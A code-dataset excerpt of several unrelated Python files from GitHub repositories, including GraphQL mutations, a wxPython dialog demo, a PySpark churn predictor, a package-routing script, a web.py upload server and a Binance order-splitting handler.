require_specific_permission(P_ADD_SIDE_COMMENT, context) or require_cls_permission(CrudPermissions.CREATE, models.Extract, context)\n\n post_id = args.get('post_id')\n post_id = int(Node.from_global_id(post_id)[1])\n post = models.Post.get(post_id)\n extract_hash = models.Extract.get_extract_hash(\n args.get('lang'),\n args.get('xpath_start'),\n args.get('xpath_end'),\n args.get('offset_start'),\n args.get('offset_end'),\n post_id\n )\n db = post.db\n exist = db.query(exists().where(models.Extract.extract_hash == extract_hash)).scalar()\n if exist:\n raise Exception(\"Extract already exists!\")\n\n new_extract = models.Extract(\n creator_id=user_id,\n owner_id=user_id,\n discussion_id=discussion_id,\n body=args.get('body'),\n important=args.get('important', False),\n content=post,\n extract_hash=extract_hash\n )\n new_extract.lang = args.get('lang')\n tags = models.Keyword.get_tags(args.get('tags', []), discussion_id, db)\n new_extract.tags = tags['new_tags'] + tags['tags']\n db.add(new_extract)\n range = models.TextFragmentIdentifier(\n extract=new_extract,\n xpath_start=args.get('xpath_start'),\n offset_start=args.get('offset_start'),\n xpath_end=args.get('xpath_end'),\n offset_end=args.get('offset_end'))\n db.add(range)\n db.flush()\n\n return AddPostExtract(post=post, extract=new_extract)\n\n\n# Used by the Bigdatext app\nclass AddPostsExtract(graphene.Mutation):\n class Input:\n extracts = graphene.List(\n PostExtractEntryInput, required=True, description=docs.AddPostsExtract.extracts)\n extract_nature = ExtractNatures(description=docs.AddPostsExtract.extract_nature)\n extract_state = ExtractStates(description=docs.AddPostsExtract.extract_state)\n\n status = graphene.Boolean(description=docs.AddPostsExtract.status)\n\n @staticmethod\n @abort_transaction_on_exception\n def mutate(root, args, context, info):\n status = False\n require_cls_permission(CrudPermissions.CREATE, models.Extract, context)\n discussion_id = context.matchdict['discussion_id']\n # Retrieve the user id\n user_id = context.authenticated_userid or Everyone\n extracts = args.get('extracts')\n status = True\n extract_nature = args.get('extract_nature', None)\n extract_nature = models.ExtractNatureVocabulary.Enum(extract_nature) if extract_nature else None\n extract_state = args.get('extract_state', None)\n # Add all of extracts\n for extract in extracts:\n post_id = extract.get('post_id')\n post_id = int(Node.from_global_id(post_id)[1])\n post = models.Post.get(post_id) if post_id else None\n if not post:\n continue\n\n db = post.db\n extract_hash = models.Extract.get_extract_hash(\n extract.get('lang'),\n extract.get('xpath_start'),\n extract.get('xpath_end'),\n extract.get('offset_start'),\n extract.get('offset_end'),\n post_id)\n exist = db.query(exists().where(models.Extract.extract_hash == extract_hash)).scalar()\n if not exist:\n new_extract = models.Extract(\n creator_id=user_id,\n owner_id=user_id,\n discussion_id=discussion_id,\n body=extract.get('body'),\n important=extract.get('important', False),\n content=post,\n extract_nature=extract_nature,\n extract_state=extract_state,\n extract_hash=extract_hash\n )\n new_extract.lang = extract.get('lang')\n db.add(new_extract)\n range = models.TextFragmentIdentifier(\n extract=new_extract,\n xpath_start=extract.get('xpath_start'),\n offset_start=extract.get('offset_start'),\n xpath_end=extract.get('xpath_end'),\n offset_end=extract.get('offset_end'))\n db.add(range)\n db.flush()\n\n return AddPostsExtract(status=status)\n","repo_name":"assembl/assembl","sub_path":"assembl/graphql/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":34827,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"62"} +{"seq_id":"40245772108","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Sep 03 17:07:08 2016\r\n\r\n@author: Administrator\r\n\"\"\"\r\n\r\nimport wx\r\nimport pprint\r\n\r\nabout_txt = '''my test'''\r\n\r\nclass DataXferValidator(wx.PyValidator):\r\n def __init__(self, data, key):\r\n wx.PyValidator.__init__(self)\r\n self.data = data\r\n self.key = key\r\n def Clone(self):\r\n return DataXferValidator(self.data, self.key)\r\n def Validate(self, win):\r\n return True\r\n def TransferToWindow(self):\r\n textCtrl = self.GetWindow()\r\n textCtrl.SetValue(self.data.get(self.key, \"\"))\r\n return True\r\n \r\n def TransferFromWindow(self):\r\n textCtrl = self.GetWindow()\r\n self.data[self.key] = textCtrl.GetValue()\r\n return True\r\n \r\nclass MyDialog(wx.Dialog):\r\n def __init__(self, data):\r\n wx.Dialog.__init__(self, None, -1, \"Validators:data transfer\")\r\n about = wx.StaticText(self, -1, about_txt)\r\n name_l = wx.StaticText(self, -1, \"Name:\")\r\n email_l = wx.StaticText(self, -1, \"Email:\")\r\n phone_l = wx.StaticText(self, -1, \"Phone:\")\r\n \r\n name_t = wx.TextCtrl(self, validator = DataXferValidator(data, \"name\"))\r\n email_t = wx.TextCtrl(self, validator = DataXferValidator(data, \"email\"))\r\n phone_t = wx.TextCtrl(self, validator = DataXferValidator(data, \"phone\"))\r\n \r\n okay = wx.Button(self, wx.ID_OK)\r\n okay.SetDefault()\r\n cancel = wx.Button(self, wx.ID_CANCEL)\r\n \r\n sizer = wx.BoxSizer(wx.VERTICAL)\r\n sizer.Add(about, 0, wx.ALL, 5)\r\n sizer.Add(wx.StaticLine(self), 0, wx.EXPAND | wx.ALL, 5)\r\n \r\n fgs = wx.FlexGridSizer(3, 2, 5,5)\r\n fgs.Add(name_l, 0, wx.ALIGN_RIGHT)\r\n fgs.Add(name_t, 0, wx.EXPAND)\r\n fgs.Add(email_l, 0, wx.ALIGN_RIGHT)\r\n fgs.Add(email_t, 0, wx.EXPAND)\r\n \r\n fgs.Add(phone_l, 0, wx.ALIGN_RIGHT)\r\n fgs.Add(phone_t, 0, wx.EXPAND)\r\n \r\n fgs.AddGrowableCol(1)\r\n sizer.Add(fgs, 0, wx.EXPAND|wx.ALL, 5)\r\n \r\n btns = wx.StdDialogButtonSizer()\r\n btns.AddButton(okay)\r\n btns.AddButton(cancel)\r\n \r\n btns.Realize()\r\n sizer.Add(btns, 0, wx.EXPAND | wx.ALL, 5)\r\n \r\n self.SetSizer(sizer)\r\n sizer.Fit(self)\r\n \r\napp = wx.PySimpleApp()\r\n\r\ndata = {\"name\":\"SunYuana\"}\r\ndlg = MyDialog(data)\r\ndlg.ShowModal()\r\ndlg.Destroy()\r\n\r\nwx.MessageBox(\"you enterd these values:\\n\\n\" + pprint.pformat(data))\r\napp.MainLoop()\r\n\r\n ","repo_name":"syy123/Location_Count","sub_path":"once_test/untitled0.py","file_name":"untitled0.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"23354398707","text":"# Proszę zaproponować algorytm, który mając dane dwa słowa A i B o długości n, każde nad\n# alfabetem długości k, sprawdza czy A i B są swoimi anagramami.\n\n#zlozonosc O(n+k)\n\nfrom random import randint\n\n#dla alfabetu rozmiaru 2^16\ndef alloc(n):\n return [randint(0, 1000000000) for _ in range(n)]\n\ndef annagrams(w1,w2):\n if len(w1) != len(w2):\n return False\n\n counters = alloc(2 ** 16)\n\n n = len(w1)\n for i in range(n):\n counters[ord(w1[i])] = 0\n\n for i in range(n):\n counters[ord(w1[i])] += 1\n counters[ord(w2[i])] -= 1\n\n for i in range(n):\n if counters[ord(w1[i])] != 0:\n return False\n\n return True","repo_name":"bgawkuc/ASD-AGH-2021","sub_path":"ASD_tasks/1-4_sorting/ASD_4/3.anagram.py","file_name":"3.anagram.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15710833650","text":"from pyspark.sql import SparkSession\nfrom pyspark.sql.types import *\nfrom pyspark.ml import PipelineModel\nfrom pyspark.sql.types import StructType, StructField, IntegerType, StringType\n\nspark = SparkSession.builder \\\n .appName(\"Telco Customer Churn\") \\\n .master(\"local[*]\") \\\n .getOrCreate()\n\nmodelrf = PipelineModel.load(\"models/spark/rf\") \nmodelgbt = PipelineModel.load(\"models/spark/gbt\") \nmodelmlp = PipelineModel.load(\"models/spark/mlp\")\nmodelSVM = PipelineModel.load(\"models/spark/svm\") \n\n\nfeatures = [\"intl_plan\", \"account_length\", \"number_vmail_messages\", \"total_day_calls\",\n \"total_day_charge\", \"total_eve_calls\", \"total_eve_charge\",\n \"total_night_calls\", \"total_night_charge\", \"total_intl_calls\", \n \"total_intl_charge\",\"number_customer_service_calls\"]\ndef predict(args):\n account=args[\"feature\"].split(\",\")\n feature = spark.createDataFrame([account[:1] + list(map(float,account[1:12]))], features)\n \n resultrf = modelrf.transform(feature).collect()[0].prediction\n resultgbt = modelgbt.transform(feature).collect()[0].prediction\n resultmlp = modelmlp.transform(feature).collect()[0].prediction\n resultsvm = modelmlp.transform(feature).collect()[0].prediction\n \n return {\"result RF\" : resultrf, \n \"result GBT\" : resultgbt, \n \"result MLP\" : resultmlp, \n \"result SVM\" : resultsvm}\n\n#features = [\"intl_plan_indexed\",\"account_length\", \"number_vmail_messages\", \"total_day_calls\",\n# \"total_day_charge\", \"total_eve_calls\", \"total_eve_charge\",\n# \"total_night_calls\", \"total_night_charge\", \"total_intl_calls\", \n# \"total_intl_charge\",\"number_customer_service_calls\"\npredict({\n \"feature\": \"no, 128, 25, 256, 110, 197.4, 50, 244.7, 91, 10, 5, 1\"\n}) \n","repo_name":"BrooksIan/ChurnBabyChurn","sub_path":"predict_churn_all_pyspark.py","file_name":"predict_churn_all_pyspark.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"62"} +{"seq_id":"9370315418","text":"### Gmail\n\n# 6\n# riya riya@gmail.com\n# julia julia@julia.me\n# julia sjulia@gmail.com\n# julia julia@gmail.com\n# samantha samantha@gmail.com\n# tanya tanya@gmail.com\n\na = int(input())\ni = 0\nnames = []\nemails = []\nwhile i < a:\n stuff = input().split()\n names.append(stuff[0])\n emails.append(stuff[1])\n i += 1\nans = []\nfor i in range(len(emails)):\n if '@gmail.com' in emails[i]:\n listy = [names[i], emails[i]]\n ans.append(listy)\n else:\n pass\nreq_names = [i[0] for i in ans]\nreq_names.sort()\nfor i in req_names:\n print(i)","repo_name":"silverscorpio/coding_sites","sub_path":"hackerrank/thirty_days_of_code/gmail.py","file_name":"gmail.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28376838525","text":"# Mario Silvestri III - 000941631\r\nimport datetime\r\n\r\nfrom model.package import PackagePriority\r\nfrom model.wgups import WGUPS\r\nfrom util.csv_reader import get_location_data, get_package_data\r\n\r\n\r\n# initiate WGUPS with location data and package data from cvs files and two trucks\r\n# Time Complexity: O(N^2)\r\n# Space Complexity: O(N^2)\r\nwgups = WGUPS(get_location_data(), get_package_data(), 3)\r\n\r\nprint(\"Welcome to WGUPS\")\r\nprint(\"Time is \" + str(wgups.time))\r\nprint(\"Packages in warehouse: \" + str(len(wgups.packages)))\r\n\r\ninput_ = input(\"Press Q to quit, R to generate routes\\n\")\r\n\r\n# Starts the process of generating routes using the nearest neighbor algorithm.\r\n# Time Complexity: O(N^2) [number of packages * number of packages / 2]\r\n# Space Complexity: O(N^2) [number of packages * number of packages]\r\nif input_ == \"R\":\r\n print()\r\n print(\"All packages will be delivered based on delivery time constraints and then distance from current location \"\r\n \"using the nearest neighbor algorithm.\\n\")\r\n print(\"Constraints:\")\r\n print(\"\\tPackages 3, 18, 36, and 38 must go on truck 2\")\r\n print(\"\\tPackages 14, 15, and 19 must go together\")\r\n print(\"\\tPackages 6, 25, 28, and 32 are delayed, and must be dispatched after 9:05am\")\r\n print(\"\\tPackage 9 address is incorrect and won't be available until 10:20am\")\r\n print(\"\\tPackage 15 must be delivered by 9:00am\")\r\n print(\"\\tPackages 1, 6, 13, 14, 16, 20, 25, 29, 30, 31, 34, 37, and 40 must be delivered by 10:30am\\n\")\r\n\r\n print(\"Load the packages that must go on truck 2\")\r\n wgups.load_truck(2, 3, PackagePriority.MEDIUM)\r\n wgups.load_truck(2, 18, PackagePriority.MEDIUM)\r\n wgups.load_truck(2, 36, PackagePriority.MEDIUM)\r\n wgups.load_truck(2, 38, PackagePriority.MEDIUM)\r\n\r\n print(\"\\nLet's take care of the early deliveries and load them on truck 1 to go out at 8:00am\")\r\n wgups.load_truck(1, 1, PackagePriority.MEDIUM)\r\n wgups.load_truck(1, 13, PackagePriority.MEDIUM) # So it can be delivered with 15 and 19\r\n wgups.load_truck(1, 14, PackagePriority.MEDIUM)\r\n wgups.load_truck(1, 16, PackagePriority.MEDIUM)\r\n wgups.load_truck(1, 20, PackagePriority.MEDIUM)\r\n wgups.load_truck(1, 29, PackagePriority.MEDIUM)\r\n wgups.load_truck(1, 30, PackagePriority.MEDIUM)\r\n wgups.load_truck(1, 31, PackagePriority.MEDIUM)\r\n wgups.load_truck(1, 34, PackagePriority.MEDIUM)\r\n wgups.load_truck(1, 37, PackagePriority.MEDIUM)\r\n wgups.load_truck(1, 40, PackagePriority.MEDIUM)\r\n\r\n print(\"\\nPackages 6, 25, 28, and 32 are late, so we'll load them on truck 2 to send out at 9:05, \"\r\n \"and prioritize package 25 since it has an early deadline.\")\r\n wgups.load_truck(2, 25, PackagePriority.HIGH)\r\n wgups.load_truck(2, 6, PackagePriority.MEDIUM)\r\n wgups.load_truck(2, 28, PackagePriority.MEDIUM)\r\n wgups.load_truck(2, 32, PackagePriority.MEDIUM)\r\n\r\n print(\"\\nPackages 15 and 19 have to go out with package 14 on truck 1. Package 15 \"\r\n \"has an early deadline so it's set to high priority.\")\r\n\r\n wgups.load_truck(1, 15, PackagePriority.HIGH)\r\n wgups.load_truck(1, 19, PackagePriority.MEDIUM)\r\n\r\n print(\"Lets fill up truck 2 with its maximum of 16 packages at low priority. Truck 1 will finish its early \"\r\n \"delivery and then the driver will come back for truck 3. Package 9 won't be available to deliver until \"\r\n \"10:20 when the correct address comes in.\")\r\n\r\n wgups.load_truck(2, 2, PackagePriority.LOW)\r\n wgups.load_truck(2, 4, PackagePriority.LOW)\r\n wgups.load_truck(2, 5, PackagePriority.LOW)\r\n wgups.load_truck(2, 7, PackagePriority.LOW)\r\n wgups.load_truck(2, 8, PackagePriority.LOW)\r\n wgups.load_truck(2, 10, PackagePriority.LOW)\r\n wgups.load_truck(2, 11, PackagePriority.LOW)\r\n wgups.load_truck(2, 12, PackagePriority.LOW)\r\n\r\n wgups.load_truck(3, 9)\r\n\r\n # Time Complexity: O(1) -> O(N) [based on hash table bucket size / collision frequency]\r\n # Space Complexity: O(1)\r\n wgups.packages.lookup_(9).available_time = datetime.datetime(1, 1, 1, 10, 20)\r\n\r\n wgups.load_truck(3, 17)\r\n wgups.load_truck(3, 21)\r\n wgups.load_truck(3, 22)\r\n wgups.load_truck(3, 23)\r\n wgups.load_truck(3, 24)\r\n wgups.load_truck(3, 26)\r\n wgups.load_truck(3, 27)\r\n wgups.load_truck(3, 33)\r\n wgups.load_truck(3, 35)\r\n wgups.load_truck(3, 39)\r\n\r\n print(\"\\nHere's how the packages are loaded: \")\r\n print(\"\\tTruck 1: \" + str(sorted(p.id for p in wgups.trucks[0].packages)))\r\n print(\"\\tTruck 2: \" + str(sorted(p.id for p in wgups.trucks[1].packages)))\r\n print(\"\\tTruck 3: \" + str(sorted(p.id for p in wgups.trucks[2].packages)))\r\n\r\n print(\"\\nHere's the order of the packages delivered: \")\r\n # Time Complexity: O(N^2) [number of packages * number of packages / 2]\r\n # Space Complexity: O(N^2) [number of packages * number of packages]\r\n truck1, wgups.time = wgups.generate_route(1, datetime.datetime(1, 1, 1, 8))\r\n truck2, truck2_return_time = wgups.generate_route(2, datetime.datetime(1, 1, 1, 9, 5))\r\n truck3, wgups.time = wgups.generate_route(3, wgups.time)\r\n\r\n total_miles = 0\r\n\r\n # Time Complexity: O(N) [number of packages]\r\n # Space Complexity: O(1)\r\n for tuple_ in truck1:\r\n total_miles += tuple_[2]\r\n\r\n for tuple_ in truck2:\r\n total_miles += tuple_[2]\r\n\r\n for tuple_ in truck3:\r\n total_miles += tuple_[2]\r\n\r\n print(\"\\tTruck 1: \" + str([tuple_[1] for tuple_ in truck1 if tuple_[1] is not None]))\r\n print(\"\\tTruck 2: \" + str([tuple_[1] for tuple_ in truck2 if tuple_[1] is not None]))\r\n print(\"\\tTruck 3: \" + str([tuple_[1] for tuple_ in truck3 if tuple_[1] is not None]) + \"\\n\")\r\n\r\n print(\"Total miles traveled: \" + \"{:.2f}\".format(total_miles) + \"\\n\")\r\n\r\n# Enables the user to view the status of packages.\r\n# Time Complexity: O(N log N)\r\n# Space Complexity: O(N)\r\nwhile input_ != \"Q\":\r\n input_ = input(\"Q to Quit. P for package status. A for all package statuses.\\n\\n\")\r\n\r\n # Time Complexity: O(1)\r\n # Space Complexity: O(1)\r\n if input_ == \"P\":\r\n print(\"Enter Package ID and time in HH:MM (24h) for package status. \\nExamples: 1 09:05, 24 13:35\\n\")\r\n input_ = input()\r\n print()\r\n wgups.get_package_status(input_)\r\n\r\n # Time Complexity: O(N log N)\r\n # Space Complexity: O(N)\r\n if input_ == \"A\":\r\n print(\"Enter time in HH:MM (24h) for all package statuses at that time. \\nExamples: 09:05, 13:35\")\r\n input_ = input()\r\n print()\r\n wgups.get_all_package_statuses(input_)\r\n\r\n","repo_name":"marioSilvestri3/college-project-delivery-router","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"662298531","text":"# -*- coding: utf-8 -*-\nimport web\n#import re\nimport es3viewer\n#import model\nimport json\n\nurls = ('/upload', 'Upload',\n '/get/(\\d*)/', 'GetImage',\n '/isready/(\\d*)/', 'IsImageReady')\n\n\nclass GetImage:\n def GET(self, id):\n return 'GetImage'\n\n\nclass IsImageReady:\n def GET(self, id):\n return 'IsImageReady'\n\n\nclass Upload:\n def GET(self):\n return \"\"\"\n\n\n
    \n\n\n\"\"\"\n\n def POST(self):\n mydoc = web.input(file={})['file']\n f = open('/tmp/es3viewer/' + mydoc.filename, 'wb')\n f.write(mydoc.value)\n #n = model.new_task(mydoc.filename, 0, '/tmp/converterdir/' + mydoc.filename)\n pars = es3viewer.es3viewer('/tmp/converterdir/' + mydoc.filename)\n pars.extraxt_metadata()\n return json.dumps([dict([['id', x['id']], ['value', x['value']]]) for x in pars.get_metadata()])\n\nweb.config.debug = False\napp = web.application(urls, globals())\napp.run()\n","repo_name":"valeradishlevii/es3viewer","sub_path":"serv.py","file_name":"serv.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37851863188","text":"import random\nfrom decimal import Decimal\nfrom typing import List, Tuple\n\nfrom source.api.orders.handlers.errors import TooLowRequestedVolumeError, WrongPriceRangeError\nfrom source.api.orders.schemas import CreateOrderData, CreateOrderRequest, CreateOrderResponse\nfrom source.clients.binance.client import BinanceClient\nfrom source.clients.binance.schemas.market.errors import NotFoundSymbolInExchangeInfo\nfrom source.clients.binance.schemas.market.schemas import ExchangeInfoResponse, Symbol\nfrom source.clients.binance.schemas.order.schemas import NewOrderRequest\nfrom source.clients.binance.schemas.wallet.schemas import APITradingStatusResponse\nfrom source.enums import OrderSide, OrderType, SymbolStatus, TimeInForce\nfrom source.logger import logger\n\n\ndef _calculate_price(price_min: Decimal, price_max: Decimal, tick_size: Decimal) -> Decimal:\n \"\"\"\n Вычисление цен ордеров\n Исхожу из того, что в ТЗ в описании схемы сказано, что цены из диапазона\n берутся случайным образом.\n Дополнительно, значение цены должно удовлетворять условиям из PRICE_FILTER, т.е.\n price % tick_size = 0\n \"\"\"\n price = random.uniform(\n a=float(price_min),\n b=float(price_max),\n )\n price_dec = Decimal(price).quantize(Decimal('0.000000'))\n return (price_dec + tick_size) - (price_dec + tick_size) % tick_size\n\n\ndef _calculate_lots(prices: List[Decimal], min_quantity: Decimal, step: Decimal, volume: Decimal) -> List[Decimal]:\n \"\"\"\n На данном этапе имеем список цен prices и теперь нужно для каждой цены\n рассчитать значение quantity, т.е. необходимо выполнение условия\n Σ(Pi * Qi) = volume, где Pi - цена, Qi - quantity\n \"\"\"\n lots = []\n for _ in range(len(prices)):\n lots.append(min_quantity) # Изначально каждому Pi присваиваем минимальное quantity\n current_volume = Decimal(0)\n for price, quantity in zip(prices, lots):\n current_volume += price * quantity # Считаем получившийся объем\n if volume < current_volume:\n raise TooLowRequestedVolumeError\n # Способ разбиения в \"лоб\", но вполне рабочий\n while current_volume + step < volume:\n current_volume_before = current_volume\n for i in range(len(lots)):\n # Если можем в оставшийся объем вместить prices[i] * min_quantity\n if current_volume + prices[i] * min_quantity <= volume:\n lots[i] += min_quantity\n current_volume += prices[i] * min_quantity\n continue\n if min_quantity == step:\n break\n remaining_quantity = (volume - current_volume) / prices[i]\n remaining_quantity -= remaining_quantity % step\n remaining_quantity = remaining_quantity.quantize(Decimal('0.000000'))\n # Добиваем оставшийся объем\n if remaining_quantity and current_volume + prices[i] * remaining_quantity <= volume:\n lots[i] += remaining_quantity\n current_volume += prices[i] * remaining_quantity\n # Если вдруг за полную итерацию не смогли найти такое Qi, что\n # current_volume + Pi * Qi <= volume, то выходим\n if current_volume == current_volume_before:\n break\n return lots\n\n\nasync def _get_price_range(req: CreateOrderRequest, client: BinanceClient, symbol: Symbol) -> Tuple[Decimal, Decimal]:\n \"\"\"\n Для лимитных ордеров есть допустимый диапазон цен, по\n которым мы можем закинуть ордер в стакан.\n Есть случаи, при которых мы не можем залить ордера в стакан\n Например\n Диапазон цен, пришедший с api: [2; 5] или [9; 11]\n Допустимый диапазон цен в стакане: [6; 8]\n В данном случае по нашему диапазону не сможем создать ордера и должны выдать ошибку\n \"\"\"\n Filter = symbol.percent_price_by_side_filter\n\n price = (await client.get_latest_price(req.symbol)).price\n\n # См. фильтр PERCENT_PRICE_BY_SIDE\n # https://binance-docs.github.io/apidocs/spot/en/#filters\n if req.side is OrderSide.BUY:\n price_up = price * Filter.bidMultiplierUp\n price_down = price * Filter.bidMultiplierDown\n else:\n price_up = price * Filter.askMultiplierUp\n price_down = price * Filter.askMultiplierDown\n\n # Если диапазон с api полностью лежит за пределами допустимого диапазона без пересечений\n if req.priceMax <= price_down or req.priceMin >= price_up:\n raise WrongPriceRangeError\n\n # Если допустимый диапазон цен пересекается с диапазоном, полученным в api\n # то корректируем границы цен\n # TODO нужно больше контекста задачи, это лишь мое мнение, что нужно так сделать\n price_min = price_down if req.priceMin < price_down else req.priceMin\n price_max = price_up if req.priceMax > price_up else req.priceMax\n\n return price_min, price_max\n\n\nasync def create_order_handler(request: CreateOrderRequest, client: BinanceClient) -> CreateOrderResponse:\n \"\"\"\n Разбиение request.volume объема на request.number ордеров\n\n Важно:\n Не полностью понял ТЗ, особенно момент с amountDif, потому\n сделал просто разбиение обшего объема на request.number ордеров\n \"\"\"\n status: APITradingStatusResponse = await client.get_api_trading_status()\n if status.data.isLocked:\n logger.error('API trading function is locked')\n return CreateOrderResponse(\n success=False,\n error='API trading function is locked',\n )\n exchange_info: ExchangeInfoResponse = await client.exchange_info(request.symbol)\n try:\n symbol = exchange_info.get_symbol(request.symbol.upper())\n except NotFoundSymbolInExchangeInfo:\n logger.error('Not found symbol in exchange info')\n return CreateOrderResponse(\n success=False,\n error='Not found trading symbol',\n )\n if not symbol.isSpotTradingAllowed:\n logger.error('Spot trading disabled')\n return CreateOrderResponse(\n success=False,\n error='Spot trading disabled',\n )\n if symbol.status in (SymbolStatus.HALT, SymbolStatus.BREAK, SymbolStatus.AUCTION_MATCH):\n logger.error('Wrong trading symbol status')\n return CreateOrderResponse(\n success=False,\n error='Wrong trading symbol status',\n )\n\n # TODO по хорошему нужно проверки выше выносить в middleware\n # так как они выглядят как общие для некоторого ряда api\n\n # Исхожу из того, что в схеме есть диапазон цен, по которому нужно раскинуть ордера\n # значит MARKET ордер нам не подходит и нужно использовать лимитку\n if OrderType.LIMIT not in symbol.orderTypes:\n logger.error('Limit order disabled')\n return CreateOrderResponse(\n success=False,\n error='Limit order disabled',\n )\n\n try:\n price_min, price_max = await _get_price_range(request, client, symbol)\n except WrongPriceRangeError:\n logger.error('Wrong price range')\n return CreateOrderResponse(\n success=False,\n error='Wrong price range',\n )\n\n step_size = symbol.lot_size_filter.stepSize\n tick_size = symbol.price_filter.tickSize\n\n # Минимально возможное значение quantity\n min_quantity = symbol.notional_filter.minNotional / request.priceMin\n min_quantity = (min_quantity + step_size) - (min_quantity + step_size) % step_size\n\n prices = []\n for _ in range(request.number):\n prices.append(_calculate_price(price_min, price_max, tick_size))\n\n try:\n lots = _calculate_lots(prices, min_quantity, step_size, request.volume)\n except TooLowRequestedVolumeError:\n logger.error('Too low requested volume')\n return CreateOrderResponse(\n success=False,\n error='Too low requested volume',\n )\n\n orders = []\n for price, quantity in zip(prices, lots):\n logger.info(f'Create order price={price} quantity={quantity}')\n\n # TODO тут остаются неопределенные моменты\n # Например, если ордеров много и есть вариант попасть на rate limits\n # по этой же причине нельзя закинуть реквесты в asyncio.gather\n # и вызывающий api код может попасть на 504 gateway timeout\n response = await client.create_new_order(\n request=NewOrderRequest(\n symbol=request.symbol, side=request.side, type=OrderType.LIMIT,\n quantity=quantity, price=price, timeInForce=TimeInForce.GTC,\n ),\n )\n orders.append(CreateOrderData(\n order_id=response.orderId,\n price=response.price,\n transact_time=response.transactTime,\n ))\n return CreateOrderResponse(success=True, orders=orders)\n","repo_name":"sometastycake/binance-create-order-test","sub_path":"source/api/orders/handlers/create_order.py","file_name":"create_order.py","file_ext":"py","file_size_in_byte":10042,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70062104198","text":"import logging\nlogging.disable(logging.CRITICAL)\n\nimport unittest\nimport mock\nimport sys\nimport os\nimport glob\nimport shutil\nimport imp\nimport numpy as np\nimport jinja2\nimport __builtin__\n\nfrom os import path\nroot = path.dirname( path.dirname( path.abspath(__file__) ) ) \nsys.path.append(root)\n\nimport utils.util_methods as util_methods\nimport utils.config_parser as cp\n\nfrom utils.project import Project\nfrom utils.sample import Sample\nfrom utils.util_classes import Params\n\nfrom component_tester import ComponentTester\n\ntest_output_dir = 'test_output'\n\n\ndef mock_log_data_structure(project, extra_params):\n\n\tfileobj, filename, description = imp.find_module('star_methods', [os.path.join(root, 'components/pdf_report')])\n\ttest_module = imp.load_module('star_methods', fileobj, filename, description)\n\n\ttest_module.glob = mock.Mock()\n\ttest_logs = glob.glob( os.path.join(os.path.abspath(os.path.dirname(__file__)), 'test_data', '*Log.final.out' ) )\n\ttest_module.glob.glob.return_value = test_logs\n\tdata = test_module.process_star_logs(project, extra_params)\n\n\treturn data\n\n\ndef mock_bam_counts(sample_ids):\n\tlow = 9e6\n\thigh = 1e7\n\tn = len(sample_ids)\n\td = {}\n\tbamtypes = ['sort', 'sort.primary', 'sort.primary.dedup']\n\tfor i,t in enumerate(bamtypes):\n\t\td[t] = \tdict(zip(sample_ids, (1-0.3*i)*np.random.randint(low, high, n)))\n\treturn d\n\n\nclass TestPdfReportGenerator(unittest.TestCase, ComponentTester):\n\tdef setUp(self):\n\t\tComponentTester.loader(self, 'components/pdf_report')\n\t\tif os.path.isdir(test_output_dir):\n\t\t\tshutil.rmtree(test_output_dir)\n\t\tos.mkdir(test_output_dir)\n\n\n\tdef test_generate_figures(self):\n\t\t\"\"\"\n\t\tThis is not a unit test in the conventional sense-- this is a full-scale mockup which will\n\t\tcreate an output pdf and everything.\n\t\t\"\"\"\n\t\t\n\t\tproject = Project()\n\t\tparameters = {'aligner':'star', 'skip_align':False, 'sample_dir_prefix': 'Sample_', 'alignment_dir': 'aln', 'project_directory': 'foo', 'chromosomes':['chr1', 'chr2', 'chrM']}\n\t\tproject.parameters = parameters\n\t\t\n\t\tcomponent_params = cp.read_config(os.path.join(root, 'components', 'pdf_report', 'report.cfg'), 'COMPONENT_SPECIFIC')\n\t\textra_params = cp.read_config(os.path.join(root, 'components', 'pdf_report', 'report.cfg'), 'STAR')\n\n\t\tmock_sample_ids = [os.path.basename(x).split('.')[0] for x in glob.glob(os.path.join('test_data', '*' + component_params.get('coverage_file_suffix')))]\t\t\n\t\tproject.samples = [Sample(x, 'X') for x in mock_sample_ids ]\t\t\n\n\t\tcomponent_params['report_output_dir'] = os.path.join(os.path.abspath(os.path.dirname(__file__)), test_output_dir, component_params.get('report_output_dir'))\n\t\tif not os.path.isdir(component_params['report_output_dir']):\n\t\t\tos.mkdir(component_params['report_output_dir'])\n\n\t\t# link the test files so they 'appear' in the correct location:\n\t\t[os.symlink(os.path.abspath(x), os.path.join(component_params['report_output_dir'], os.path.basename(x))) for x in glob.glob(os.path.join('test_data', '*' + component_params.get('coverage_file_suffix')))]\t\t\n\t\t\n\n\t\tmock_log_data = mock_log_data_structure(project, extra_params)\n\t\tself.module.star_methods.process_star_logs = mock.Mock()\n\t\tself.module.star_methods.process_star_logs.return_value = mock_log_data\n\t\t\n\t\tself.module.get_bam_counts = mock.Mock()\n\t\tself.module.get_bam_counts.return_value = mock_bam_counts(mock_log_data.keys())\n\t\tself.module.calculate_coverage_data = mock.Mock()\n\t\tself.module.calculate_coverage_data.return_value = None\n\t\tself.module.generate_figures(project, component_params, extra_params)\n\n\n\tdef test_fill_template(self):\n\t\t\n\t\tproject = Project()\n\t\tparameters = {'bam_filter_level':'sort.primary', 'project_directory': 'abc/foo/AB_12345', \n\t\t\t\t'genome': 'hg19', \n\t\t\t\t'genome_source_link':'ftp://ftp.ensembl.org/pub/release-75/fasta/homo_sapiens/dna/', \n\t\t\t\t'skip_align':False, \n\t\t\t\t'skip_analysis':False}\n\n\t\tproject.parameters = parameters\n\t\t\n\t\tcomponent_params = cp.read_config(os.path.join(root, 'components', 'pdf_report', 'report.cfg'), 